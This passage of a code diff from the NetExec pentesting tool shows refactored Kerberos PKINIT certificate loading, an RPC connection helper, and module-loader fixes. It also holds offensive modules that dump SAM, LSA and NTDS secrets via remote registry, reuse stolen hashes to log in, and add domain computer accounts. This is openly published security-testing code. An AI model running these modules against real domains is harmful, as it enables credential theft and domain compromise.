return "", "", ""
def get_users(self):
users = []
users_dir_path = "Users\\*"
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
+12
View File
@@ -226,6 +226,18 @@ def convert(low, high, lockout=False):
return time
def parse_argument(argument: list) -> list:
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
parsed_items = []
for item in argument:
if os.path.isfile(item):
with open(item) as f:
parsed_items.extend(line.strip() for line in f if line.strip())
else:
parsed_items.append(item.strip())
return parsed_items
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
+13
View File
@@ -0,0 +1,13 @@
from pathlib import PurePosixPath
def sanitize_filename(name: str) -> str:
"""Strip path traversal components from an SMB filename.
Follows the pattern from spider_plus.py — filters '..' and '.' from
PurePosixPath.parts to prevent directory traversal attacks from
malicious SMB servers.
"""
parts = PurePosixPath(name.replace("\\", "/")).parts
clean = [p for p in parts if p not in ("..", ".", "/")]
return str(PurePosixPath(*clean)) if clean else ""
+77 -35
View File
@@ -35,15 +35,18 @@ import base64
from binascii import unhexlify, hexlify
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from asn1crypto import x509
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.dirtydh import DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
@@ -71,12 +74,44 @@ from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
class myPKINIT(PKINIT):
def _load_asn1_certificate(data):
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
The certificate is parsed by cryptography and re-encoded, so that malformed input is
rejected here instead of failing later inside asn1crypto, which parses lazily
"""
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
return _to_asn1_certificate(cert)
def _to_asn1_certificate(cert):
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
def _check_rsa_privkey(privkey):
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
if not isinstance(privkey, rsa.RSAPrivateKey):
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
return privkey
class myPKINIT:
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
which fails at import time on any OpenSSL whose version has a two digit component
"""
def __init__(self):
self.privkey = None
self.certificate = None
self.issuer = None
self.cname = None
self.diffie = None
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
@@ -90,26 +125,17 @@ class myPKINIT(PKINIT):
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
# cryptography requires None (not an empty password) for a pfx without password
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
# a pfx holding only a certificate parses fine, so check the key before the certificate
if privkey is None:
raise Exception("No private key found in the PFX file")
if cert is None:
raise Exception("No certificate found in the PFX file")
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.certificate = _to_asn1_certificate(cert)
pkinit.setup(dh_params=dh_params)
return pkinit
@@ -117,9 +143,18 @@ class myPKINIT(PKINIT):
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = parse_certificate(f.read())
pkinit.certificate = _load_asn1_certificate(f.read())
with open(privkeyfile, "rb") as f:
pkinit.privkey = load_private_key(parse_private(f.read()))
keydata = f.read()
try:
try:
privkey = serialization.load_pem_private_key(keydata, password=None)
except ValueError:
privkey = serialization.load_der_private_key(keydata, password=None)
except TypeError as e:
# raised by both loaders when the key is encrypted and no password was given
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.setup(dh_params=dh_params)
return pkinit
@@ -237,7 +272,7 @@ class myPKINIT(PKINIT):
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
@@ -478,14 +513,21 @@ def pfx_auth(self):
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
try:
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except Exception as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
return False
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
+101
View File
@@ -0,0 +1,101 @@
import contextlib
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCRPCConnection:
"""
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
"""
def __init__(self, connection, force_tcp=False):
self.connection = connection
self.force_tcp = force_tcp
self.dce = None
self.rpc_transport = None
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
if string_binding is not None:
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
elif self.force_tcp:
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
else:
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
self.dce = self.rpc_transport.get_dce_rpc()
if self.connection.kerberos and not anonymous_rpc:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.connect()
if auth_level is not None:
self.dce.set_auth_level(auth_level)
self.dce.bind(interface_uuid)
return self.dce
def disconnect(self):
if self.dce:
with contextlib.suppress(Exception):
self.dce.disconnect()
self.dce = None
@property
def transport(self):
return self.rpc_transport
def get_smb_connection(self):
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
return self.rpc_transport.get_smb_connection()
return None
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.disconnect()
return False
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
conn = self.connection
if anonymous_rpc:
rpc_transport.set_credentials("", "", "", "", "", "")
rpc_transport.set_kerberos(False, None)
else:
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
if conn.kerberos:
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
def create_smb_transport(self, named_pipe, target_ip=None):
conn = self.connection
# Create a new SMB conn if we don't have one already or
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
if target_ip or conn.host:
rpc_transport.setRemoteHost(target_ip or conn.host)
return rpc_transport
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
conn = self.connection
target = target_ip or conn.remoteName
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
rpc_transport.setRemoteHost(target)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if target_ip is not None:
rpc_transport.setRemoteHost(target_ip)
elif set_remote_host is not None:
rpc_transport.setRemoteHost(set_remote_host)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
+34 -8
View File
@@ -4,7 +4,7 @@ import traceback
import sys
from os import listdir
from os.path import dirname
from os.path import basename, dirname
from os.path import join as path_join
from nxc.context import Context
@@ -13,6 +13,10 @@ from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
class ModuleOptionsError(Exception):
"""Raised when a module aborts the run from options() (returned False)."""
class ModuleLoader:
def __init__(self, args, db, logger):
self.args = args
@@ -40,17 +44,40 @@ class ModuleLoader:
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
return not module_error
module_cache = {}
@classmethod
def load_module_file(cls, module_path):
"""Load a module file and return the raw module object with isolated namespace.
Each module gets a unique name to avoid sys.modules collisions that
caused NXCModule class references to be overwritten when loading
multiple modules. Results are cached so each file is only parsed
and executed once regardless of how many targets are scanned.
"""
if module_path not in cls.module_cache:
module_name = f"nxc_module_{basename(module_path)[:-3]}"
spec = importlib.util.spec_from_file_location(module_name, module_path)
module = importlib.util.module_from_spec(spec)
# Register before executing. Modules that define their own impacket
# NDRCALL requests rely on impacket resolving the matching Response
# class via sys.modules[request.__module__] (rpcrt.py), which the
# previous load_module() satisfied implicitly.
sys.modules[module_name] = module
spec.loader.exec_module(module)
cls.module_cache[module_path] = module
return cls.module_cache[module_path]
def load_module(self, module_path):
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module = spec.loader.load_module().NXCModule()
module = self.load_module_file(module_path).NXCModule()
if self.module_is_sane(module, module_path):
return module
@@ -60,7 +87,6 @@ class ModuleLoader:
def init_module(self, module_path):
"""Initialize a module for execution"""
module = None
module = self.load_module(module_path)
if module:
@@ -78,7 +104,8 @@ class ModuleLoader:
key, value = option.split("=", 1)
module_options[str(key).upper()] = value
module.options(context, module_options)
if module.options(context, module_options) is False:
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
return module
else:
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
@@ -87,8 +114,7 @@ class ModuleLoader:
def get_module_info(self, module_path):
"""Get the path, description, and options from a module"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module_spec = spec.loader.load_module().NXCModule
module_spec = self.load_module_file(module_path).NXCModule
module = {
f"{module_spec.name}": {
+2 -1
View File
@@ -181,7 +181,8 @@ class NXCAdapter(logging.LoggerAdapter):
if not os.path.isfile(output_file):
try:
open(output_file, "x") # noqa: SIM115
with open(output_file, "x"):
pass
except FileNotFoundError:
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
exit(1)
+7 -11
View File
@@ -1,8 +1,9 @@
import sys
from impacket.dcerpc.v5 import samr, transport
from impacket.dcerpc.v5 import samr
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -16,14 +17,14 @@ class NXCModule:
"""
name = "add-computer"
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAPS"
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
add-computer: Adds, deletes, or changes the password of a domain computer account.
Uses SAMR when invoked with nxc smb, LDAPS when invoked with nxc ldap.
Uses SAMR when invoked with nxc smb.
NAME Computer name (required). Trailing '$' is added automatically.
PASSWORD Computer password (required for add/changepw).
@@ -80,19 +81,14 @@ class NXCModule:
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
def _do_samr(self):
conn = self.connection
rpc_transport = transport.SMBTransport(conn.conn.getRemoteHost(), 445, r"\samr", smb_connection=conn.conn)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR: {e}")
return
try:
self._samr_execute(dce, conn.conn.getRemoteName())
self._samr_execute(dce, self.connection.conn.getRemoteName())
finally:
dce.disconnect()
@@ -191,7 +187,7 @@ class NXCModule:
request["Name"] = self.computer_name
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
return dce.request(request)
return dce.request(request)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_USER_EXISTS" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
+124 -49
View File
@@ -1,11 +1,11 @@
import contextlib
from time import sleep
import re
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5 import rrp
from nxc.helpers.misc import CATEGORY, gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -17,9 +17,12 @@ class NXCModule:
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
self.local_admin = None
self.local_admin_hash = None
self.machine_account = None
self.machine_account_hash = None
self.cleanup_user = None
self.cleanup_hash = None
def options(self, context, module_options):
"""NO OPTIONS"""
@@ -31,18 +34,9 @@ class NXCModule:
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
@@ -70,56 +64,137 @@ class NXCModule:
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.domain_admin:
if not self.local_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
if len(fields) >= 4:
self.local_admin = fields[0]
self.local_admin_hash = fields[3]
def parse_lsa(secret_type, secret):
context.log.highlight(secret)
if self.machine_account:
return
for line in secret.splitlines():
match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
if match:
self.machine_account_hash = match.group(1)
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
# "$MACHINE.ACC" has no real name -> derive it from the connection.
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
return
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
if self.domain_admin:
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
try:
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
dump_creds = None
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
if self._try_dump_ntds(connection, context, username, user_hash):
dump_creds = (username, user_hash)
break
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}")
sleep(0.2)
for hive in ["SAM", "SECURITY", "SYSTEM"]:
if dump_creds:
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
if not self.cleanup_user or not self.cleanup_hash:
self.cleanup_user, self.cleanup_hash = dump_creds
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
else:
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
self._print_cleanup_warning(context, rand_suffix)
def _try_dump_ntds(self, connection, context, username, user_hash):
if not username or not user_hash:
return False
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
try:
context.log.display(f"Dumping NTDS using {username}...")
connection.ntds()
return True
except Exception as e:
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
return False
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
if not username or not user_hash:
self._print_cleanup_warning(context, rand_suffix)
return
context.log.display(f"Using {username} to clean up files...")
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
hives = ["SAM", "SECURITY", "SYSTEM"]
all_deleted = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
try:
connection.conn.deleteFile("SYSVOL", remote_name)
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
except SessionError as e:
if "STATUS_NO_SUCH_FILE" in str(e):
context.log.debug(f"File {remote_name} already removed or not found.")
continue
if "STATUS_ACCESS_DENIED" in str(e):
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
try:
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
continue
except Exception as exec_err:
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
all_deleted = False
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
if all_deleted:
double_check = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
try:
out = connection.conn.listPath("SYSVOL", remote_name)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {remote_name}, path: C:\\Windows\\sysvol\\sysvol\\{remote_name}")
except SessionError as e:
context.log.debug(f"File {remote_name} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
if connection.conn.listPath("SYSVOL", remote_name):
double_check = False
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
except SessionError:
pass
if double_check:
context.log.display("Successfully deleted dump files !")
return
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display(f"netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
self._print_cleanup_warning(context, rand_suffix)
def _extract_da_hash(self, output_filename, context):
try:
with open(f"{output_filename}.ntds") as f:
fallback = None
for line in f:
fields = line.strip().split(":")
if len(fields) < 4 or not fields[3]:
continue
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
if fields[1] == "500":
return da_user, fields[3]
if fallback is None:
fallback = (da_user, fields[3])
if fallback:
return fallback
except Exception as e:
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
return None, None
def _print_cleanup_warning(self, context, rand_suffix):
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
+116 -141
View File
@@ -1,141 +1,116 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
import re
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
